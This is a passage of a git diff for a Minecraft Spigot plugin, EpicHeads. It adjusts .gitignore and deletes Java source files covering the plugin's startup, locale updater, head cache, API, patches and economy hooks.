diff --git a/.gitignore b/.gitignore index c794d28..c2f81ca 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,7 @@ /bin/ /.settings/ +/target/ *.project *.classpath .idea -target \ No newline at end of file +EpicHeads.iml \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/EpicHeads.java b/main/java/com/songoda/epicheads/EpicHeads.java deleted file mode 100644 index 321d39c..0000000 --- a/main/java/com/songoda/epicheads/EpicHeads.java +++ /dev/null @@ -1,432 +0,0 @@ -package com.songoda.epicheads; - -import com.songoda.epicheads.cache.CacheFile; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.cache.ModsFile; -import com.songoda.epicheads.cache.ModsFileHeader; -import com.songoda.epicheads.cache.legacy.CacheFileConverter; -import com.songoda.epicheads.cache.legacy.LegacyCacheConfig; -import com.songoda.epicheads.command.CommandManager; -import com.songoda.epicheads.config.FileConfigFile; -import com.songoda.epicheads.config.MainConfig; -import com.songoda.epicheads.config.menu.Menus; -import com.songoda.epicheads.config.oldmenu.MenuConfig; -import com.songoda.epicheads.economy.*; -import com.songoda.epicheads.handlers.HeadNamer; -import com.songoda.epicheads.handlers.LegacyIDs; -import com.songoda.epicheads.menu.ui.InventoryMenu; -import com.songoda.epicheads.oldmenu.ClickInventory; -import com.songoda.epicheads.util.Clock; -import com.songoda.epicheads.util.Methods; -import com.songoda.epicheads.volatilecode.injection.ProtocolHackFixer; -import com.songoda.epicheads.volatilecode.reflection.Version; -import org.bukkit.Bukkit; -import org.bukkit.GameMode; -import org.bukkit.Location; -import org.bukkit.command.ConsoleCommandSender; -import org.bukkit.entity.Player; -import org.bukkit.event.EventHandler; -import org.bukkit.event.EventPriority; -import org.bukkit.event.Listener; -import org.bukkit.event.inventory.InventoryClickEvent; -import org.bukkit.inventory.Inventory; -import org.bukkit.inventory.InventoryHolder; -import org.bukkit.plugin.Plugin; -import org.bukkit.plugin.java.JavaPlugin; -import org.json.simple.JSONArray; -import org.json.simple.JSONObject; -import org.json.simple.parser.JSONParser; - -import java.io.File; -import java.io.IOException; -import java.io.InputStream; -import java.io.InputStreamReader; -import java.net.URL; -import java.net.URLConnection; -import java.util.function.Consumer; - -public class EpicHeads extends JavaPlugin implements Listener { - - private static EpicHeads INSTANCE; - private static ConsoleCommandSender console; - private CacheFile cache; - private MenuConfig oldMenuConfig; - private Menus menus; - private MainConfig mainConfig; - private Economy economy; - private LegacyIDs legacyIDs; - private boolean blockStoreAvailable = false; - - private References references; - private CommandManager commandManager; - private Locale locale; - - @Override - public void onEnable() { - console = this.getServer().getConsoleSender(); - INSTANCE = this; - if (Version.isBelow(Version.v1_8)) { - Methods.formatText("&c-------------------------------------------------------------------"); - Methods.formatText("&c EpicHeads no longer supports versions below Minecraft 1.8. "); - Methods.formatText("&c Please switch to Heads version 1.15.1 or before. "); - Methods.formatText("&c-------------------------------------------------------------------"); - Bukkit.getPluginManager().disablePlugin(this); - return; - } - - console.sendMessage(Methods.formatText("&a=============================")); - console.sendMessage(Methods.formatText("&7EpicHeads " + this.getDescription().getVersion() + " by &5Brianna <3!")); - console.sendMessage(Methods.formatText("&7Action: &aEnabling&7...")); - - Clock timer = Clock.start(); - loadCache(); - try { - legacyIDs = LegacyIDs.readResource("legacy-ids.txt"); - } catch (IOException exception) { - legacyIDs = LegacyIDs.EMPTY; - Methods.formatText("Unable to load legacy IDs to perform conversion from older Spigot versions"); - exception.printStackTrace(); - } - - // Locales - Locale.init(this); - Locale.saveDefaultLocale("en_US"); - this.locale = Locale.getLocale(getConfig().getString("Locale", "en_US")); - - this.update(); - - this.references = new References(); - this.menus = new Menus(); - this.menus.reload(); - this.oldMenuConfig = new MenuConfig(getVersionedConfig("menus.yml")); - this.mainConfig = new MainConfig(); - this.economy = hookEconomy(); - - this.commandManager = new CommandManager(this); - - ProtocolHackFixer.fix(); - tryHookBlockStore(); - new HeadNamer(this).registerEvents(); - Bukkit.getPluginManager().registerEvents(this, this); - console.sendMessage(Methods.formatText(getDescription().getName() + " has been enabled with " + cache.getHeadCount() + " heads " + timer + ".")); - console.sendMessage(Methods.formatText("&a=============================")); - } - - @Override - public void onDisable() { - INSTANCE = null; - console.sendMessage(Methods.formatText("&a=============================")); - console.sendMessage(Methods.formatText("&7EpicHeads " + this.getDescription().getVersion() + " by &5Brianna <3!")); - console.sendMessage(Methods.formatText("&7Action: &cDisabling&7...")); - console.sendMessage(Methods.formatText("&a=============================")); - - } - - public void reloadConfigs() { - this.oldMenuConfig.reload(); - this.menus.reload(); - this.mainConfig.reload(); - this.locale.reloadMessages(); - this.economy = hookEconomy(); - this.tryHookBlockStore(); - } - - private void update() { - try { - URL url = new URL("http://update.songoda.com/index.php?plugin=" + getDescription().getName() + "&version=" + getDescription().getVersion()); - URLConnection urlConnection = url.openConnection(); - InputStream is = urlConnection.getInputStream(); - InputStreamReader isr = new InputStreamReader(is); - - int numCharsRead; - char[] charArray = new char[1024]; - StringBuilder sb = new StringBuilder(); - while ((numCharsRead = isr.read(charArray)) > 0) { - sb.append(charArray, 0, numCharsRead); - } - String jsonString = sb.toString(); - JSONObject json = (JSONObject) new JSONParser().parse(jsonString); - - JSONArray files = (JSONArray) json.get("neededFiles"); - for (Object o : files) { - JSONObject file = (JSONObject) o; - - if ("locale".equals(file.get("type"))) { - InputStream in = new URL((String) file.get("link")).openStream(); - Locale.saveDefaultLocale(in, (String) file.get("name")); - } - } - } catch (Exception e) { - Bukkit.getLogger().warning("Failed to update."); - } - } - - public File getCacheFile() { - if (!getDataFolder().exists() && !getDataFolder().mkdirs()) - throw new RuntimeException("Unable to create the data folder to save plugin files"); - if (!getDataFolder().isDirectory()) - throw new RuntimeException("plugins/EpicHeads should be a directory, yet there is a file with the same name"); - return new File(getDataFolder(), "heads.cache"); - } - - private CacheFile loadCache() { - File file = getCacheFile(); - FileConfigFile legacyConfig = new FileConfigFile("cache.yml"); - boolean requiresWrite = false; - if (!file.exists()) { - requiresWrite = true; - if (legacyConfig.getFile().exists()) { - Clock timer = Clock.start(); - LegacyCacheConfig legacy = new LegacyCacheConfig(legacyConfig); - cache = CacheFileConverter.convertToCacheFile("main-cache", legacy); - Methods.formatText("Converted legacy yaml cache file to new binary file " + timer); - } else { - cache = new CacheFile("main-cache"); - } - } else { - try { - Clock timer = Clock.start(); - cache = CacheFile.read(file); - Methods.formatText("Loaded cache file " + timer); - } catch (IOException e) { - Methods.formatText("Unable to read heads.cache file"); - throw new RuntimeException("There was an exception reading the heads.cache file", e); - } - } - - if (installAddons() || requiresWrite) { - saveCache(); - } - - if (legacyConfig.getFile().exists() && !legacyConfig.getFile().delete()) { - Methods.formatText("Unable to delete legacy yaml cache file"); - } - - return cache; - } - - public void saveCache() { - File file = getCacheFile(); - try { - Clock timer = Clock.start(); - - cache.write(file); - - Methods.formatText("Saved cache file " + timer); - } catch (IOException e) { - Methods.formatText("Unable to save the cache to heads.cache"); - throw new RuntimeException("There was an exception saving the cache", e); - } - } - - private ModsFileHeader readModsFileHeader() { - try { - return ModsFileHeader.readResource("cache.mods"); - } catch (IOException e) { - Methods.formatText("Unable to read header of cache.mods"); - throw new RuntimeException("Unable to read header of cache.mods", e); - } - } - - private ModsFile readModsFile() { - try { - return ModsFile.readResource("cache.mods"); - } catch (IOException e) { - Methods.formatText("Unable to read mods from cache.mods"); - throw new RuntimeException("Unable to read mods from cache.mods", e); - } - } - - private boolean installAddons() { - Clock timer = Clock.start(); - - ModsFileHeader header = readModsFileHeader(); - int newMods = header.getUninstalledMods(cache); - - if (newMods == 0) - return false; - - ModsFile mods = readModsFile(); - - int newHeads = mods.installMods(cache); - - if (newHeads > 0) { - Methods.formatText("Added " + newHeads + " new heads from " + newMods + " addons " + timer); - } else { - Methods.formatText("Installed " + newMods + " addons " + timer); - } - - return true; - } - - private Economy hookEconomy() { - if (!mainConfig.isEconomyEnabled()) - return new NoEconomy(); - - Economy economy = null; - - if (mainConfig.isVaultEconomyEnabled()) { - economy = tryHookEconomy(null, new VaultEconomy()); - } - - if (mainConfig.isItemEconomyEnabled()) { - economy = tryHookEconomy(economy, new ItemEconomy()); - } - - if (mainConfig.isPlayerPointsEconomyEnabled()) { - economy = tryHookEconomy(economy, new PlayerPointsEconomy()); - } - - if (economy == null || economy instanceof NoEconomy) { - Methods.formatText("Economy enabled in config.yml yet Vault, PlayerPoints and Item economies disabled. " + "Player's will not be able to purchase heads."); - - economy = (economy != null ? economy : new NoEconomy()); - } - - return economy; - } - - private Economy tryHookEconomy(Economy currentlyHooked, Economy toHook) { - if (currentlyHooked != null) { - Methods.formatText(toHook.getName() + " economy is not the only economy enabled in the config.yml."); - - if (!(currentlyHooked instanceof NoEconomy)) - return currentlyHooked; - } - - if (!toHook.tryHook()) { - Methods.formatText(toHook.getName() + " enabled in config.yml, yet Heads was unable to hook into it."); - return new NoEconomy(); - } - - Methods.formatText("Loaded " + toHook.getName() + " economy"); - return toHook; - } - - private void tryHookBlockStore() { - if (mainConfig.shouldUseBlockStore() && Bukkit.getPluginManager().getPlugin("BlockStore") != null) { - blockStoreAvailable = false; - - try { - Class apiClass = Class.forName("net.sothatsit.blockstore.BlockStoreApi"); - - apiClass.getDeclaredMethod("retrieveBlockMeta", Plugin.class, Location.class, Plugin.class, String.class, Consumer.class); - - Methods.formatText("Hooked BlockStore"); - - blockStoreAvailable = true; - - } catch (ClassNotFoundException | NoSuchMethodException e) { - Methods.formatText("Unable to hook BlockStore, the version of BlockStore you are " + "using may be outdated. Heads requires BlockStore v1.5.0."); - Methods.formatText("Please update BlockStore and report this to Sothatsit if the problem persists."); - } - } - } - - @EventHandler(priority = EventPriority.HIGHEST) - public void onInventoryClick(InventoryClickEvent e) { - Inventory inventory = e.getInventory(); - - if (inventory == null) - return; - - InventoryHolder holder = inventory.getHolder(); - - if (holder instanceof ClickInventory) { - ((ClickInventory) holder).onClick(e); - } else if (holder instanceof InventoryMenu) { - ((InventoryMenu) holder).onClick(e); - } - } - - private boolean isExemptFromCost(Player player) { - if (!mainConfig.isEconomyEnabled() || player.hasPermission("EpicHeads.bypasscost")) - return true; - - return mainConfig.isFreeInCreative() && player.getGameMode() == GameMode.CREATIVE; - } - - public boolean chargeForHead(Player player, CacheHead head) { - if (isExemptFromCost(player)) - return true; - - double cost = head.getCost(); - - if (cost <= 0) - return true; - - if (!economy.hasBalance(player, cost)) { - player.sendMessage(getLocale().getMessage("interface.get.notenoughmoney", head.getName(), head.getCost())); - return false; - } - - if (!economy.takeBalance(player, cost)) { - player.sendMessage(getLocale().getMessage("interface.get.transactionerror", head.getName(), head.getCost())); - return false; - } - - player.sendMessage(getLocale().getMessage("interface.get.purchased", head.getName(), head.getCost())); - return true; - } - - public String getCategoryPermission(String category) { - return "EpicHeads.category." + category.toLowerCase().replace(' ', '_'); - } - - //ToDO: these shouldn't be static. - public static EpicHeads getInstance() { - return INSTANCE; - } - - public LegacyIDs getLegacyIDs() { - return INSTANCE.legacyIDs; - } - - public MainConfig getMainConfig() { - return INSTANCE.mainConfig; - } - - public CacheFile getCache() { - return INSTANCE.cache; - } - - public Menus getMenus() { - return INSTANCE.menus; - } - - public MenuConfig getMenuConfig() { - return INSTANCE.oldMenuConfig; - } - - public Economy getEconomy() { - return INSTANCE.economy; - } - - public boolean isBlockStoreAvailable() { - return INSTANCE.blockStoreAvailable; - } - - public void sync(Runnable task) { - Bukkit.getScheduler().runTask(INSTANCE, task); - } - - public FileConfigFile getVersionedConfig(String resource) { - if (Version.isBelow(Version.v1_13)) - return new FileConfigFile(resource, "pre1_13/" + resource); - - return new FileConfigFile(resource); - } - - - public CommandManager getCommandManager() { - return commandManager; - } - - public Locale getLocale() { - return locale; - } - - public References getReferences() { - return references; - } -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/api/EpicHeadsAPI.java b/main/java/com/songoda/epicheads/api/EpicHeadsAPI.java deleted file mode 100644 index 93258e3..0000000 --- a/main/java/com/songoda/epicheads/api/EpicHeadsAPI.java +++ /dev/null @@ -1,110 +0,0 @@ -package com.songoda.epicheads.api; - -import com.google.common.collect.ImmutableList; -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.volatilecode.TextureGetter; -import org.bukkit.inventory.ItemStack; - -import java.util.List; -import java.util.Set; -import java.util.function.Consumer; - -public class EpicHeadsAPI { - - public static class Head { - - private final CacheHead head; - - private Head(CacheHead head) { - Checks.ensureNonNull(head, "head"); - this.head = head; - } - - public boolean isEnabled() { - return EpicHeads.getInstance() != null; - } - - public int getId() { - return head.getId(); - } - - public String getName() { - return head.getName(); - } - - public String getCategory() { - return head.getCategory(); - } - - public double getCost() { - return head.getCost(); - } - - public ItemStack getItem() { - return head.getItemStack(); - } - - public ItemStack getItem(String displayName) { - return head.getItemStack(displayName); - } - - private static Head fromCacheHead(CacheHead head) { - return (head == null ? null : new Head(head)); - } - - private static Head fromNameAndTexture(String name, String texture) { - return (texture == null ? null : fromCacheHead(new CacheHead(name, "EpicHeadsAPI", texture))); - } - - private static List fromCacheHeads(List heads) { - ImmutableList.Builder converted = ImmutableList.builder(); - for (CacheHead head : heads) { - converted.add(Head.fromCacheHead(head)); - } - return converted.build(); - } - - } - - public static Head getHead(int id) { - CacheHead head = EpicHeads.getInstance().getCache().findHead(id); - if (head == null) - return null; - return new Head(head); - } - - @Deprecated - public static List searchHeads(String query) { - List search = EpicHeads.getInstance().getCache().searchHeads(query); - return Head.fromCacheHeads(search); - } - - public static void searchHeads(String query, Consumer> onResult) { - EpicHeads.getInstance().getCache().searchHeadsAsync(query, heads -> { - onResult.accept(Head.fromCacheHeads(heads)); - }); - } - - public static Set getCategories() { - return EpicHeads.getInstance().getCache().getCategories(); - } - - public static List getCategoryHeads(String category) { - List categoryHeads = EpicHeads.getInstance().getCache().getCategoryHeads(category); - return Head.fromCacheHeads(categoryHeads); - } - - public static List getAllHeads() { - List heads = EpicHeads.getInstance().getCache().getHeads(); - return Head.fromCacheHeads(heads); - } - - public static void downloadHead(String playerName, Consumer consumer) { - TextureGetter.getTexture(playerName, (texture) -> { - consumer.accept(Head.fromNameAndTexture(playerName, texture)); - }); - } - -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/cache/CacheFile.java b/main/java/com/songoda/epicheads/cache/CacheFile.java deleted file mode 100644 index 676753c..0000000 --- a/main/java/com/songoda/epicheads/cache/CacheFile.java +++ /dev/null @@ -1,291 +0,0 @@ -package com.songoda.epicheads.cache; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.handlers.Search; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.IOUtils; -import org.bukkit.scheduler.BukkitRunnable; - -import java.io.*; -import java.util.*; -import java.util.function.Consumer; -import java.util.zip.GZIPInputStream; -import java.util.zip.GZIPOutputStream; - -public final class CacheFile implements Mod { - - private final String name; - private final Set mods = new HashSet<>(); - private final List heads = new ArrayList<>(); - private final Map headsById = new HashMap<>(); - private final Map headsByTexture = new HashMap<>(); - private final Map> categories = new HashMap<>(); - - public CacheFile(String name) { - this(name, Collections.emptySet(), Collections.emptyList()); - } - - public CacheFile(String name, Set mods, Iterable heads) { - Checks.ensureNonNull(name, "name"); - Checks.ensureNonNull(mods, "mods"); - Checks.ensureNonNull(heads, "heads"); - - this.name = name; - this.mods.addAll(mods); - - addHeads(heads); - } - - @Override - public String getName() { - return name; - } - - @Override - public ModType getType() { - return ModType.ADDON; - } - - public int getHeadCount() { - return heads.size(); - } - - public List getHeads() { - return Collections.unmodifiableList(heads); - } - - public String resolveCategoryName(String category) { - for (String name : categories.keySet()) { - if (name.equalsIgnoreCase(category)) - return name; - } - - return category; - } - - public Set getCategories() { - return Collections.unmodifiableSet(categories.keySet()); - } - - public List getCategoryHeads(String category) { - category = resolveCategoryName(category); - - List list = categories.getOrDefault(category, Collections.emptyList()); - - Collections.sort(list); - - return Collections.unmodifiableList(list); - } - - public List searchHeads(String query) { - return Search.searchHeads(query, heads, 0.4d); - } - - public void searchHeadsAsync(String query, Consumer> onResult) { - List headsCopy = new ArrayList<>(heads); - new BukkitRunnable() { - public void run() { - List matches = Search.searchHeads(query, headsCopy, 0.4d); - - EpicHeads.getInstance().sync(() -> onResult.accept(matches)); - } - }.runTaskAsynchronously(EpicHeads.getInstance()); - } - - public CacheHead findHead(int id) { - return headsById.get(id); - } - - public CacheHead findHeadByTexture(String texture) { - return headsByTexture.get(texture); - } - - public List findHeads(UUID uniqueId) { - List matches = new ArrayList<>(); - - for (CacheHead head : heads) { - if (!head.getUniqueId().equals(uniqueId)) - continue; - - matches.add(head); - } - - return matches; - } - - public CacheHead getRandomHead(Random random) { - return heads.get(random.nextInt(heads.size())); - } - - public void addHeads(Iterable heads) { - for (CacheHead head : heads) { - addHead(head); - } - } - - private int getMaxId() { - int max = -1; - - for (CacheHead head : heads) { - max = Math.max(max, head.getId()); - } - - return max; - } - - public void addHead(CacheHead head) { - String category = resolveCategoryName(head.getCategory()); - - head = head.copyWithCategory(category); - head.setId(getMaxId() + 1); - - heads.add(head); - headsById.put(head.getId(), head); - headsByTexture.put(head.getTexture(), head); - categories.computeIfAbsent(category, c -> new ArrayList<>()).add(head); - } - - public void removeHead(CacheHead head) { - String category = resolveCategoryName(head.getCategory()); - - heads.remove(head); - headsById.remove(head.getId(), head); - headsByTexture.remove(head.getTexture(), head); - categories.compute(category, (key, categoryHeads) -> { - if (categoryHeads == null) - return null; - - categoryHeads.remove(head); - - return (categoryHeads.size() > 0 ? categoryHeads : null); - }); - } - - @Override - public void applyMod(CacheFile cache) { - cache.addHeads(heads); - } - - public boolean hasMod(String mod) { - return mods.contains(mod); - } - - public void installMod(Mod mod) { - if (hasMod(mod.getName())) - return; - - mods.add(mod.getName()); - mod.applyMod(this); - } - - @Override - public String toString() { - return getType() + " {name: \"" + name + "\", headCount: " + getHeadCount() + "}"; - } - - public void write(File file) throws IOException { - if (file.isDirectory()) - throw new IOException("File " + file + " is a directory"); - - if (!file.exists() && !file.createNewFile()) - throw new IOException("Unable to create file " + file); - - try (FileOutputStream stream = new FileOutputStream(file)) { - writeCompressed(stream); - } - } - - public void writeCompressed(OutputStream os) throws IOException { - try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) { - - write(stream); - - stream.flush(); - } - } - - @Override - public void write(ObjectOutputStream stream) throws IOException { - stream.writeInt(2); - stream.writeUTF(name); - - IOUtils.writeStringSet(stream, mods); - - stream.writeInt(heads.size()); - for (CacheHead head : heads) { - head.write(stream); - } - } - - public static CacheFile read(File file) throws IOException { - if (file.isDirectory()) - throw new IOException("File " + file + " is a directory"); - - if (!file.exists()) - throw new IOException("File " + file + " does not exist"); - - try (FileInputStream stream = new FileInputStream(file)) { - return readCompressed(stream); - } - } - - public static CacheFile readResource(String resource) throws IOException { - try (InputStream stream = EpicHeads.getInstance().getResource(resource)) { - return readCompressed(stream); - } - } - - public static CacheFile readCompressed(InputStream is) throws IOException { - try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) { - - return read(stream); - } - } - - public static CacheFile read(ObjectInputStream stream) throws IOException { - int version = stream.readInt(); - - switch (version) { - case 2: - return readVersion2(stream); - case 1: - return readVersion1(stream); - default: - throw new UnsupportedOperationException("Unknown cache file version " + version); - } - } - - private static CacheFile readVersion2(ObjectInputStream stream) throws IOException { - String name = stream.readUTF(); - - Set mods = IOUtils.readStringSet(stream); - - int headCount = stream.readInt(); - List heads = new ArrayList<>(headCount); - for (int index = 0; index < headCount; ++index) { - heads.add(CacheHead.read(stream)); - } - - return new CacheFile(name, mods, heads); - } - - private static CacheFile readVersion1(ObjectInputStream stream) throws IOException { - String name = stream.readUTF(); - - Set mods = new HashSet<>(); - - mods.addAll(IOUtils.readStringSet(stream)); - mods.addAll(IOUtils.readStringSet(stream)); - - int headCount = stream.readInt(); - List heads = new ArrayList<>(headCount); - for (int index = 0; index < headCount; ++index) { - heads.add(CacheHead.read(stream)); - } - - return new CacheFile(name, mods, heads); - } - - public static String cool = "%%__USER__%%"; - -} diff --git a/main/java/com/songoda/epicheads/cache/CacheHead.java b/main/java/com/songoda/epicheads/cache/CacheHead.java deleted file mode 100644 index 3eafa9c..0000000 --- a/main/java/com/songoda/epicheads/cache/CacheHead.java +++ /dev/null @@ -1,214 +0,0 @@ -package com.songoda.epicheads.cache; - -import com.google.gson.JsonObject; -import com.google.gson.JsonParser; -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.IOUtils; -import com.songoda.epicheads.volatilecode.ItemNBT; -import org.bukkit.entity.Player; -import org.bukkit.inventory.ItemStack; - -import javax.annotation.Nonnull; -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.nio.charset.StandardCharsets; -import java.util.*; - -public final class CacheHead implements Comparable { - - private int id; - private String name; - private final String category; - private final String texture; - private String textureURL; - private UUID uniqueId; - private final List tags = new ArrayList<>(); - private double cost; - - public CacheHead(String name, String category, String texture) { - this(-1, name, category, texture, Collections.emptyList(), -1d); - } - - public CacheHead(String name, String category, String texture, String... tags) { - this(-1, name, category, texture, Arrays.asList(tags), -1d); - } - - public CacheHead(int id, String name, String category, String texture, List tags, double cost) { - Checks.ensureNonNull(name, "name"); - Checks.ensureNonNull(category, "category"); - Checks.ensureNonNull(texture, "texture"); - Checks.ensureNonNull(tags, "tags"); - - this.id = id; - this.name = name; - this.category = category; - this.texture = texture; - this.textureURL = null; - this.uniqueId = null; - this.tags.addAll(tags); - this.cost = cost; - } - - public CacheHead copyWithCategory(String category) { - return new CacheHead(id, name, category, texture, tags, cost); - } - - public int getId() { - return id; - } - - public String getName() { - return name; - } - - public String getCategory() { - return category; - } - - public String getPermission() { - return EpicHeads.getInstance().getCategoryPermission(category); - } - - public String getTexture() { - return texture; - } - - public String getTextureURL() { - if (textureURL == null) { - textureURL = extractTextureURL(texture); - } - - return textureURL; - } - - public List getTags() { - return tags; - } - - public boolean hasCost() { - return cost >= 0; - } - - public double getCost() { - return (hasCost() ? cost : EpicHeads.getInstance().getMainConfig().getCategoryCost(category)); - } - - public double getRawCost() { - return cost; - } - - public UUID getUniqueId() { - if (uniqueId == null) { - uniqueId = UUID.nameUUIDFromBytes(getTextureURL().getBytes(StandardCharsets.UTF_8)); - } - - return uniqueId; - } - - public Placeholder[] getPlaceholders(Player player) { - return new Placeholder[] { new Placeholder("%name%", name), new Placeholder("%cost%", getCost()), new Placeholder("%category%", category), new Placeholder("%id%", Integer.toString(id)) }; - } - - public ItemStack getItemStack() { - return ItemNBT.createHead(this); - } - - public ItemStack getItemStack(String name) { - return ItemNBT.createHead(this); - } - - public ItemStack addTexture(ItemStack itemStack) { - return ItemNBT.applyHead(this, itemStack); - } - - protected void setId(int id) { - this.id = id; - } - - public void setName(String name) { - Checks.ensureNonNull(name, "name"); - - this.name = name; - } - - public void setTags(List tags) { - Checks.ensureNonNull(tags, "tags"); - - this.tags.clear(); - this.tags.addAll(tags); - } - - public void setCost(double cost) { - this.cost = cost; - } - - public void write(ObjectOutputStream stream) throws IOException { - stream.writeInt(id); - stream.writeUTF(name); - stream.writeUTF(category); - stream.writeUTF(texture); - IOUtils.writeStringList(stream, tags); - stream.writeDouble(cost); - } - - public static CacheHead read(ObjectInputStream stream) throws IOException { - int id = stream.readInt(); - String name = stream.readUTF(); - String category = stream.readUTF(); - String texture = stream.readUTF(); - List tags = IOUtils.readStringList(stream); - double cost = stream.readDouble(); - - return new CacheHead(id, name, category, texture, tags, cost); - } - - @Override - public int compareTo(@Nonnull CacheHead otherHead) { - String otherName = otherHead.getName(); - - if (name.length() > 1 && otherName.length() <= 1) - return 1; - - if (name.length() <= 1 && otherName.length() > 1) - return -1; - - if (name.length() == 1 && otherName.length() == 1) { - List otherTags = otherHead.getTags(); - - int length = Math.min(tags.size(), otherTags.size()); - - for (int index = 0; index < length; ++index) { - int compare = tags.get(index).compareTo(otherTags.get(index)); - - if (compare != 0) - return compare; - } - - if (tags.size() > 0 && otherTags.size() == 0) - return -1; - - if (tags.size() == 0 && otherTags.size() > 0) - return 1; - } - - return name.compareTo(otherName); - } - - public static String extractTextureURL(String texture) { - try { - String decoded = new String(Base64.getDecoder().decode(texture)); - JsonObject json = new JsonParser().parse(decoded).getAsJsonObject(); - JsonObject textures = json.getAsJsonObject("textures"); - JsonObject skin = textures.getAsJsonObject("SKIN"); - return skin.get("url").getAsString(); - } catch (Exception e) { - throw new RuntimeException("Unable to get the texture URL of texture " + texture, e); - } - } - - public static String hello = "%%__USER__%%"; - -} diff --git a/main/java/com/songoda/epicheads/cache/HeadPatch.java b/main/java/com/songoda/epicheads/cache/HeadPatch.java deleted file mode 100644 index a78918f..0000000 --- a/main/java/com/songoda/epicheads/cache/HeadPatch.java +++ /dev/null @@ -1,191 +0,0 @@ -package com.songoda.epicheads.cache; - -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.IOUtils; - -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.util.HashSet; -import java.util.List; -import java.util.UUID; - -public final class HeadPatch { - - private final UUID uniqueId; - - private boolean category = false; - private String fromCategory = null; - private String toCategory = null; - - private boolean tags = false; - private List fromTags = null; - private List toTags = null; - - private boolean cost = false; - private double fromCost = -1; - private double toCost = -1; - - public HeadPatch(CacheHead head) { - this(head.getUniqueId()); - } - - public HeadPatch(UUID uniqueId) { - this.uniqueId = uniqueId; - } - - public boolean isEmpty() { - return !category && !tags && !cost; - } - - public HeadPatch withCategory(String from, String to) { - Checks.ensureNonNull(from, "from"); - Checks.ensureNonNull(to, "to"); - - if(from.equals(to)) { - this.category = false; - return this; - } - - this.category = true; - this.fromCategory = from; - this.toCategory = to; - - return this; - } - - public HeadPatch withTags(List from, List to) { - Checks.ensureNonNull(from, "from"); - Checks.ensureNonNull(to, "to"); - - if(new HashSet<>(from).equals(new HashSet<>(to))) { - this.tags = false; - return this; - } - - this.tags = true; - this.fromTags = from; - this.toTags = to; - - return this; - } - - public HeadPatch withCost(double from, double to) { - if(from == to) { - this.cost = false; - return this; - } - - this.cost = true; - this.fromCost = from; - this.toCost = to; - - return this; - } - - public void applyPatch(CacheFile cache) { - for(CacheHead head : cache.findHeads(uniqueId)) { - applyPatch(cache, head); - } - } - - public void applyPatch(CacheFile cache, CacheHead head) { - if(category && head.getCategory().equalsIgnoreCase(fromCategory)) { - cache.removeHead(head); - - head = head.copyWithCategory(toCategory); - - cache.addHead(head); - } - - if(tags && head.getTags().equals(fromTags)) { - head.setTags(toTags); - } - - if(cost && head.getRawCost() == fromCost) { - head.setCost(toCost); - } - } - - public static HeadPatch createPatch(CacheHead original, CacheHead updated) { - HeadPatch patch = new HeadPatch(original); - - patch.withCost(original.getRawCost(), updated.getRawCost()); - patch.withCategory(original.getCategory(), updated.getCategory()); - patch.withTags(original.getTags(), updated.getTags()); - - return (!patch.isEmpty() ? patch : null); - } - - public void write(ObjectOutputStream stream) throws IOException { - IOUtils.writeUUID(stream, uniqueId); - - stream.writeBoolean(category); - if(category) { - stream.writeUTF(fromCategory); - stream.writeUTF(toCategory); - } - - stream.writeBoolean(tags); - if(tags) { - IOUtils.writeStringList(stream, fromTags); - IOUtils.writeStringList(stream, toTags); - } - - stream.writeBoolean(cost); - if(cost) { - stream.writeDouble(fromCost); - stream.writeDouble(toCost); - } - } - - public static HeadPatch read(int version, ObjectInputStream stream) throws IOException { - switch(version) { - case 1: - return readVersion1(stream); - case 2: - return readVersion2(stream); - default: - throw new UnsupportedOperationException("Unknown patch file version " + version); - } - } - - public static HeadPatch readVersion2(ObjectInputStream stream) throws IOException { - HeadPatch patch = readVersion1(stream); - - boolean cost = stream.readBoolean(); - if(cost) { - double from = stream.readDouble(); - double to = stream.readDouble(); - - patch.withCost(from, to); - } - - return patch; - } - - public static HeadPatch readVersion1(ObjectInputStream stream) throws IOException { - UUID uniqueId = IOUtils.readUUID(stream); - - HeadPatch patch = new HeadPatch(uniqueId); - - boolean category = stream.readBoolean(); - if(category) { - String from = stream.readUTF(); - String to = stream.readUTF(); - - patch.withCategory(from, to); - } - - boolean tags = stream.readBoolean(); - if(tags) { - List from = IOUtils.readStringList(stream); - List to = IOUtils.readStringList(stream); - - patch.withTags(from, to); - } - - return patch; - } - -} diff --git a/main/java/com/songoda/epicheads/cache/Mod.java b/main/java/com/songoda/epicheads/cache/Mod.java deleted file mode 100644 index da93a5e..0000000 --- a/main/java/com/songoda/epicheads/cache/Mod.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.songoda.epicheads.cache; - -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; - -public interface Mod { - - public enum ModType { - - ADDON(0) { - @Override - public Mod read(ObjectInputStream stream) throws IOException { - return CacheFile.read(stream); - } - }, - - PATCH(1) { - @Override - public Mod read(ObjectInputStream stream) throws IOException { - return PatchFile.read(stream); - } - }; - - private final int id; - - private ModType(int id) { - this.id = id; - } - - public int getId() { - return id; - } - - public abstract Mod read(ObjectInputStream stream) throws IOException; - - public static ModType getById(int id) { - for(ModType type : ModType.values()) { - if(type.getId() == id) - return type; - } - - return null; - } - - } - - public String getName(); - - public ModType getType(); - - public void write(ObjectOutputStream stream) throws IOException; - - public void applyMod(CacheFile cache); - -} diff --git a/main/java/com/songoda/epicheads/cache/ModsFile.java b/main/java/com/songoda/epicheads/cache/ModsFile.java deleted file mode 100644 index 37ea4a7..0000000 --- a/main/java/com/songoda/epicheads/cache/ModsFile.java +++ /dev/null @@ -1,135 +0,0 @@ -package 